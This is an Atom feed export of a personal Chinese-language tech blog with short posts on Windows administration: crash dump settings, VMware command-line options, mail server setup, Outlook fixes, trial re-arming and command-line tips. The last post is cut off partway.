<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7915715382238652912</id><updated>2011-07-31T01:34:28.642+08:00</updated><category term='linux'/><category term='RemoteDestkop'/><category term='setup'/><category term='commandline'/><category term='VMware'/><category term='crash dump windows'/><category term='windows commandline configure'/><category term='vista 内核'/><category term='SMTP POP3'/><category term='Misc'/><category term='windows'/><category term='物理内存'/><category term='虚拟内存'/><category term='页面文件'/><category term='2008Server'/><category term='perl 资源'/><title type='text'>Ring0</title><subtitle type='html'>Welcome to my field</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>22</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-8517864151380053208</id><published>2011-05-17T22:00:00.000+08:00</published><updated>2011-05-17T22:00:00.709+08:00</updated><title type='text'>免费自助建站工具</title><content type='html'>Tap（&lt;a href="http://uicss.cn/go.php?http://www.tap.cn" target="_blank" title="http://uicss.cn/go.php?http://www.tap.cn"&gt;www.tap.cn&lt;/a&gt;） 是一个新型的免费自助建站工具，它可以创建并管理包括网站在内的各种网络应用。易用、专业、高效的 Tap  能让您轻松摆脱建站过程中技术对创造力的制约。拥有极高自由度的Tap能够快速提升您的建站热情。Tap为不同用户的需求配备了完美的个性化解决方案，  Tap 始终致力于将网站建设这一互联网核心应用普及大众。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-8517864151380053208?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/8517864151380053208/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=8517864151380053208' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/8517864151380053208'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/8517864151380053208'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2011/05/blog-post_17.html' title='免费自助建站工具'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-7943198918103336355</id><published>2009-12-15T13:40:00.002+08:00</published><updated>2009-12-15T13:40:59.009+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='crash dump windows'/><title type='text'>Crash Dump on window 7</title><content type='html'>Windows 7 systems that were configured to generate crash dumps were crashing but not leaving behind a dump file. After having ruled out the usual reasons such as too small of a paging file or not enough disk space to save the dump, there was definitely something strange going on.&lt;br /&gt;&lt;br /&gt;What we discovered is that a new policy has been added to Windows when it comes to crash dump file retention. Apparently, certain customers are complaining about the amount of disk space that crash dump files consume and don't want them saved anymore (we're sure they'll regret this decision in the future if their systems ever crash). In order to address this issue, a new set of criteria has been created that determines whether or not Windows saves a crash dump file.&lt;br /&gt;&lt;br /&gt;The new criteria are as follows:&lt;br /&gt;&lt;br /&gt;1) If the machine is running a server version of the O/S, the crash dump is always saved.&lt;br /&gt;&lt;br /&gt;2) If the machine is joined to a domain, the crash dump is always saved.&lt;br /&gt;&lt;br /&gt;3) If the amount of free space on the disk is greater than or equal to 25GB, the crash dump is saved.&lt;br /&gt;&lt;br /&gt;Otherwise, the crash dump file will not be saved and you'll be left scratching your head. Luckily, a new registry value has been added that will override this behavior and always cause the crash dump file to be generated. By setting the \HKLM\System\CCS\Control\CrashControl\AlwaysKeepMemoryDump DWORD value to 1 you will guarantee that you will always have a crash dump file after crashing the system.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-7943198918103336355?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/7943198918103336355/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=7943198918103336355' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/7943198918103336355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/7943198918103336355'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2009/12/crash-dump-on-window-7.html' title='Crash Dump on window 7'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-4721770049131987523</id><published>2008-12-05T15:10:00.001+08:00</published><updated>2008-12-05T15:10:38.948+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VMware'/><category scheme='http://www.blogger.com/atom/ns#' term='commandline'/><title type='text'>Operate Virtual machine from command line</title><content type='html'>This page describe command line options that are available when you launch VMware Workstation. There are two methods to operate virtual machines via command line, vmrun application or vmware itself.&lt;br /&gt;VMRUN Application&lt;br /&gt;&lt;br /&gt;VMware Workstation includes a separate application, vmrun. To launch the vmrun application, from the command prompt, enter:&lt;br /&gt;&lt;br /&gt;vmrun COMMAND Parameters[]&lt;br /&gt;&lt;br /&gt;Valid vmrun commands and options are described in the following :&lt;br /&gt;Command  Parameters  Description&lt;br /&gt;list     list all running VMs&lt;br /&gt;start  path to vmx or vmtm file  start a VM or Team&lt;br /&gt;stop  path to vmx or vmtm file  stop a VM or Team&lt;br /&gt;reset  path to vmx or vmtm file  reset a VM or Team&lt;br /&gt;suspend  path to vmx or vmtm file  suspend a VM or Team&lt;br /&gt;upgradevm  path to vmx  Upgrade a virtual machine to the current Workstation version&lt;br /&gt;installtools  Path to vmx file  Install Tools in Guest OS&lt;br /&gt;listSnapshots  Path to vmx file  List all snapshots in a VM&lt;br /&gt;snapshot  Path to vmx file  Create a snapshot of a VM&lt;br /&gt;deleteSnapshot  Path to vmx file  Remove a snapshot from a VM Snapshot name&lt;br /&gt;revertToSnapshot  Path to vmx file  Set VM state to a snapshot&lt;br /&gt;&lt;br /&gt;example:&lt;br /&gt;&lt;br /&gt;to start a virtual machine&lt;br /&gt;vmrun start c:\My Virtual Machines\&lt;virtual_machine_name&gt;.vmx&lt;br /&gt;&lt;br /&gt;With virtual machines that require input through a VMware Workstation dialog box, vmrun may time out and fail. To disable Workstation dialog boxes, insert the following line into the .vmx configuration file for a virtual machine:&lt;br /&gt;&lt;br /&gt;msg.autoAnswer = TRUE&lt;br /&gt;VMware&lt;br /&gt;&lt;br /&gt;VMware -x -X -q -s = -v / / .virtual machinex&lt;br /&gt;Option  Description&lt;br /&gt;-x  Automatically powers on the virtual machine when VMware Workstation starts&lt;br /&gt;-X  Automatically powers on the virtual machine, then switches the VMware Workstation window to full screen mode&lt;br /&gt;-q  Closes the virtual machine's tab when the virtual machine powers off. If no other virtual machine is open, it also exits VMware Workstation. This is particularly useful when the guest operating system is capable of powering off the virtual machine&lt;br /&gt;-s  Sets the specified variable to the specified value. Any variable names and values that are valid in the configuration file may be specified on the command line with the -s switch&lt;br /&gt;-v  Displays the product name, version and build number&lt;br /&gt;/&lt;path_to_config&gt;/&lt;config&gt;.vmx  Launches a virtual machine using the specified configuration file&lt;br /&gt;&lt;br /&gt;example:&lt;br /&gt;launches the Windows Me virtual machine specified, powers it on automatically and switches to full screen mode&lt;br /&gt;"C:\Program Files\VMware\VMware Workstation\Programs\VMware.exe -X C:\Documents and Settings\&lt;username&gt;\My Documents\My Virtual Machines\Windows Me\Windows Me.vmx"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-4721770049131987523?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/4721770049131987523/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=4721770049131987523' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/4721770049131987523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/4721770049131987523'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2008/12/operate-virtual-machine-from-command.html' title='Operate Virtual machine from command line'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-55572713211809123</id><published>2008-11-17T15:55:00.003+08:00</published><updated>2008-11-17T16:07:00.448+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='setup'/><title type='text'>安装系统时候报找不到硬盘驱动</title><content type='html'>&lt;blockquote&gt;Setup did not find any hard disk drives installed in your computer. Make sure any hard disk drives are powered on and properly connected to your computer, and that any disk-related hardware configuration is correct. This may involve running a manufacturer-supplied diagnostic or setup program. Setup cannot continue. To quit Setup, press F3.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;如果是SATA硬盘引起的，比较简单的解决方式是进入BIOS，从RAID模式改到IDE模式，参考下文：&lt;br /&gt;http://www.raymond.cc/blog/archives/2008/01/21/install-xp-setup-did-not-find-any-hard-disk-drives-installed-in-your-computer/&lt;br /&gt;&lt;br /&gt;不同的主板可能不太一样，比如我的是从RAID/AHCI -&gt; RAID/SATA就好了&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-55572713211809123?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/55572713211809123/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=55572713211809123' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/55572713211809123'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/55572713211809123'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2008/11/blog-post.html' title='安装系统时候报找不到硬盘驱动'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-6730127311546766603</id><published>2008-06-04T13:11:00.001+08:00</published><updated>2008-06-04T13:51:16.390+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SMTP POP3'/><title type='text'>WIN2K3 Server 上搭建SMTP，POP3服务器</title><content type='html'>纯转载 &lt;br /&gt;Win2003里自带的SMTP/POP3一般应用就足够&lt;br /&gt;&lt;br /&gt;一、安装POP3和SMTP服务组件&lt;br /&gt;&lt;br /&gt;Windows Server 2003默认情况下是没有安装POP3和SMTP服务组件的，因此我们要手工添加。&lt;br /&gt;&lt;br /&gt;1.安装POP3服务组件&lt;br /&gt;&lt;br /&gt;以系统管理员身份登录Windows Server 2003 系统。依次进入“控制面板→添加或删除程序→添加/删除Windows组件”，在弹出的“Windows组件向导”对话框中选中“电子邮件服务”选项，点击“详细信息”按钮，可以看到该选项包括两部分内容：POP3服务和POP3服务Web管理。为方便用户远程Web方式管理邮件服务器，建议选中 “POP3服务Web管理”。&lt;br /&gt;&lt;br /&gt;2.安装SMTP服务组件&lt;br /&gt;&lt;br /&gt;选中“应用程序服务器”选项，点击“详细信息”按钮，接着在“Internet信息服务（IIS）”选项中查看详细信息，选中“SMTP Service”选项，最后点击“确定”按钮。此外，如果用户需要对邮件服务器进行远程Web管理，一定要选中“万维网服务”中的“远程管理（HTML）”组件。完成以上设置后，点击“下一步”按钮，系统就开始安装配置POP3和SMTP服务了。&lt;br /&gt;&lt;br /&gt;二、配置POP3服务器&lt;br /&gt;&lt;br /&gt;1.创建邮件域&lt;br /&gt;&lt;br /&gt;点击“开始→管理工具→POP3服务”，弹出POP3服务控制台窗口。选中左栏中的POP3服务后，点击右栏中的“新域”，弹出“添加域”对话框，接着在 “域名”栏中输入邮件服务器的域名，也就是邮件地址“@”后面的部分，如“rtj.net”，最后点击“确定”按钮。其中“rtj.net”为在 Internet上注册的域名，并且该域名在DNS服务器中设置了MX邮件交换记录，解析到Windows Server 2003邮件服务器IP地址上。&lt;br /&gt;&lt;br /&gt;2.创建用户邮箱&lt;br /&gt;&lt;br /&gt;选中刚才新建的“rtj.net”域，在右栏中点击“添加邮箱”，弹出添加邮箱对话框，在“邮箱名”栏中输入邮件用户名，然后设置用户密码，最后点击“确定”按钮，完成邮箱的创建。&lt;br /&gt;&lt;br /&gt;三、配置SMTP服务器&lt;br /&gt;&lt;br /&gt;完成POP3服务器的配置后，就可开始配置SMTP服务器了。点击“开始→程序→管理工具→Internet信息服务（IIS）管理器”，在“IIS管理器”窗口中右键点击“默认SMTP虚拟服务器”选项，在弹出的菜单中选中“属性”，进入“默认SMTP虚拟服务器”窗口，切换到“常规”标签页，在“IP 地址”下拉列表框中选中邮件服务器的IP地址即可。点击“确定”按钮，这样一个简单的邮件服务器就架设完成了。&lt;br /&gt;&lt;br /&gt;完成以上设置后，用户就可以使用邮件客户端软件连接邮件服务器进行邮件收发工作了。在设置邮件客户端软件的SMTP和POP3服务器地址时，输入邮件服务器的域名“rtj.net”即可。&lt;br /&gt;&lt;br /&gt;四、远程Web管理&lt;br /&gt;&lt;br /&gt;Windows Server 2003还支持对邮件服务器的远程Web管理。在远端客户机中，运行IE浏览器，在地址栏中输入“https://服务器IP地址：8098”，将会弹出连接对话框，输入管理员用户名和密码，点击“确定”按钮，即可登录Web管理界面。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;还有很多专门软件可以采用&lt;br /&gt;文章见下边链接&lt;br /&gt;参考资料：http://www.blueidea.com/computer/net/2005/2972.asp&lt;br /&gt;&lt;br /&gt;--------转载结束的分割线---------------&lt;br /&gt;&lt;blockquote&gt;其中“rtj.net”为在 Internet上注册的域名，并且该域名在DNS服务器中设置了MX邮件交换记录，解析到Windows Server 2003邮件服务器IP地址上。&lt;/blockquote&gt;&lt;br /&gt;作为一个懒人，我不想配DNS，所以修改了hosts文件&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-6730127311546766603?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/6730127311546766603/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=6730127311546766603' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/6730127311546766603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/6730127311546766603'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2008/06/win2k3-server-smtppop3.html' title='WIN2K3 Server 上搭建SMTP，POP3服务器'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-2420695353756592928</id><published>2008-05-29T13:05:00.004+08:00</published><updated>2008-05-29T13:36:38.378+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows commandline configure'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>windows下命令行获取磁盘空闲空间大小</title><content type='html'>&lt;blockquote&gt;DIR | FIND "free"&lt;/blockquote&gt;&lt;br /&gt;汗一下这么简单。。亏我翻了半天diskpart的帮助，想找到如何获取磁盘可用空间，原来最简单的dir就能搞定,悲愤啊&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-2420695353756592928?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/2420695353756592928/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=2420695353756592928' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/2420695353756592928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/2420695353756592928'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2008/05/windows.html' title='windows下命令行获取磁盘空闲空间大小'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-2826855938110982601</id><published>2008-05-23T14:41:00.002+08:00</published><updated>2008-12-11T14:30:56.413+08:00</updated><title type='text'>最近遇到关于outlook的两个小问题</title><content type='html'>&lt;span style="font-weight:bold;"&gt;问题1&lt;/span&gt;：boss发来的会议信件，选择接收后不能在日历里显示出来。误了我两回开会。。。&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;原因&lt;/span&gt;:是我把boss的信设置了自动归档，outlook默认不显示此类Calendar&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;解决&lt;/span&gt;：在Calendar里面勾选Calendar in Archive folders&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;问题2&lt;/span&gt;：Outlook 常年处于离线状态，从自动收信变为手动收信&gt;_&lt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;原因&lt;/span&gt;：大约是某次网络抽风的时候，outlook提示要offline工作，我选了Yes，从此就一直离线工作了&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;解决&lt;/span&gt;：http://www.buffalostate.edu/depts/csdept/documentation/faqs/FAQ/facstaff/facemailoffline.html&lt;br /&gt;   1.  Click the View menu and make sure there is a check mark next to Status Bar&lt;br /&gt;   2. Click on the word Offline in the very bottom right-hand corner of the Outlook window&lt;br /&gt;   3. When the menu appears, click once on Work Offline to remove the check mark (see picture)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Yf8VRZH0rTQ/SDZo2DlKgpI/AAAAAAAACVc/vcMW6geNsgk/s1600-h/outlook001.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_Yf8VRZH0rTQ/SDZo2DlKgpI/AAAAAAAACVc/vcMW6geNsgk/s320/outlook001.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5203461697356595858" /&gt;&lt;/a&gt;&lt;br /&gt;   4. After a few seconds your mailbox should be up-to-date&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-2826855938110982601?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/2826855938110982601/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=2826855938110982601' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/2826855938110982601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/2826855938110982601'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2008/05/outlook.html' title='最近遇到关于outlook的两个小问题'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Yf8VRZH0rTQ/SDZo2DlKgpI/AAAAAAAACVc/vcMW6geNsgk/s72-c/outlook001.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-5672814219801477064</id><published>2008-05-07T11:53:00.002+08:00</published><updated>2008-05-07T12:05:25.291+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows commandline configure'/><title type='text'>Microsoft Windows Xp - Command-Line Reference A-Z</title><content type='html'>网上搜了一圈，英文版的都是BT下载，中文版的都要注册，麻烦的紧所以在这里放一个中文版下载，CHM格式：&lt;br /&gt;&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p/&gt;&lt;br/&gt;&lt;a target='_blank' href='http://www.box.net/index.php?rm=box_download_shared_file&amp;amp;blog&amp;amp;file_id=f_156237463&amp;amp;shared_name=ru8zhkiogg'&gt;命令行参考 A-Z.chm&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-5672814219801477064?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/5672814219801477064/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=5672814219801477064' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/5672814219801477064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/5672814219801477064'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2008/05/microsoft-windows-xp-command-line.html' title='Microsoft Windows Xp - Command-Line Reference A-Z'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-8354857194980468731</id><published>2008-05-06T17:30:00.002+08:00</published><updated>2008-05-06T17:51:25.985+08:00</updated><title type='text'>获取系统启动时间</title><content type='html'>在windows自带的perfmon的add counters里面，performance选 system，下面选System up time&lt;br /&gt;关于这个值：&lt;blockquote&gt;System Up Time is the elapsed time (in seconds) that the computer has been running since it was last started.  This counter displays the difference between the start time and the current time. &lt;/blockquote&gt;&lt;br /&gt;更简单的：&lt;br /&gt;&lt;blockquote&gt;systeminfo | find /i "up time"&lt;/blockquote&gt;&lt;br /&gt;当然后面的 “up time”随系统语言设置变化也要变，不嫌列表太长的光输入systeminfo也行。。。难怪我开始在中文系统上怎么都找不到。。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-8354857194980468731?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/8354857194980468731/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=8354857194980468731' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/8354857194980468731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/8354857194980468731'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2008/05/blog-post.html' title='获取系统启动时间'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-8906895844907641528</id><published>2008-04-15T15:33:00.004+08:00</published><updated>2008-04-15T15:43:28.670+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='2008Server'/><category scheme='http://www.blogger.com/atom/ns#' term='vista 内核'/><title type='text'>vista和2008server 过期后如何再次激活</title><content type='html'>通过这个命令，可以再获取三十天的使用期:&lt;br /&gt;&lt;br /&gt;Slmgr.vbs –rearm&lt;br /&gt;&lt;br /&gt;如果有VMware snapshot，只要在重启前输入这个指令就好了。&lt;br /&gt;如果是真实机器，那么打开IE然后输入cmd，然后再输入指令就好了&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~幸福结束的分割线~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;我在VMware上用过一次，不过。。。没起作用。。。&lt;br /&gt;另外，我疑心这个东西需要管理员权限，这样再IE中启动的cmd能否成功运行此命令也是个问题咧&lt;br /&gt;还有，这不是一个crack，而是微软内部使用的东东，所以。。。说不定哪个补丁打上去这个东西就不work了&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-8906895844907641528?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/8906895844907641528/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=8906895844907641528' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/8906895844907641528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/8906895844907641528'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2008/04/vista2008server.html' title='vista和2008server 过期后如何再次激活'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-6271316098865506455</id><published>2008-01-21T20:45:00.000+08:00</published><updated>2008-01-21T20:49:04.179+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows commandline configure'/><title type='text'>命令行打开控制面板的两种方法</title><content type='html'>第一种：&lt;br /&gt;Control.exe 调用［控制面板］程序。使用时不带参数可起动［控制面板］，若利用命令行在其后跟上某个控制项目文件名（.cpl类型，在System目录中能找到），将打开具体的控制项，如果再空一格并加上以逗号开头的数字代码，则可直接进入具体控制项的某一栏（控制项首栏数字代码是0)。如：&lt;br /&gt;Control desk.cpl 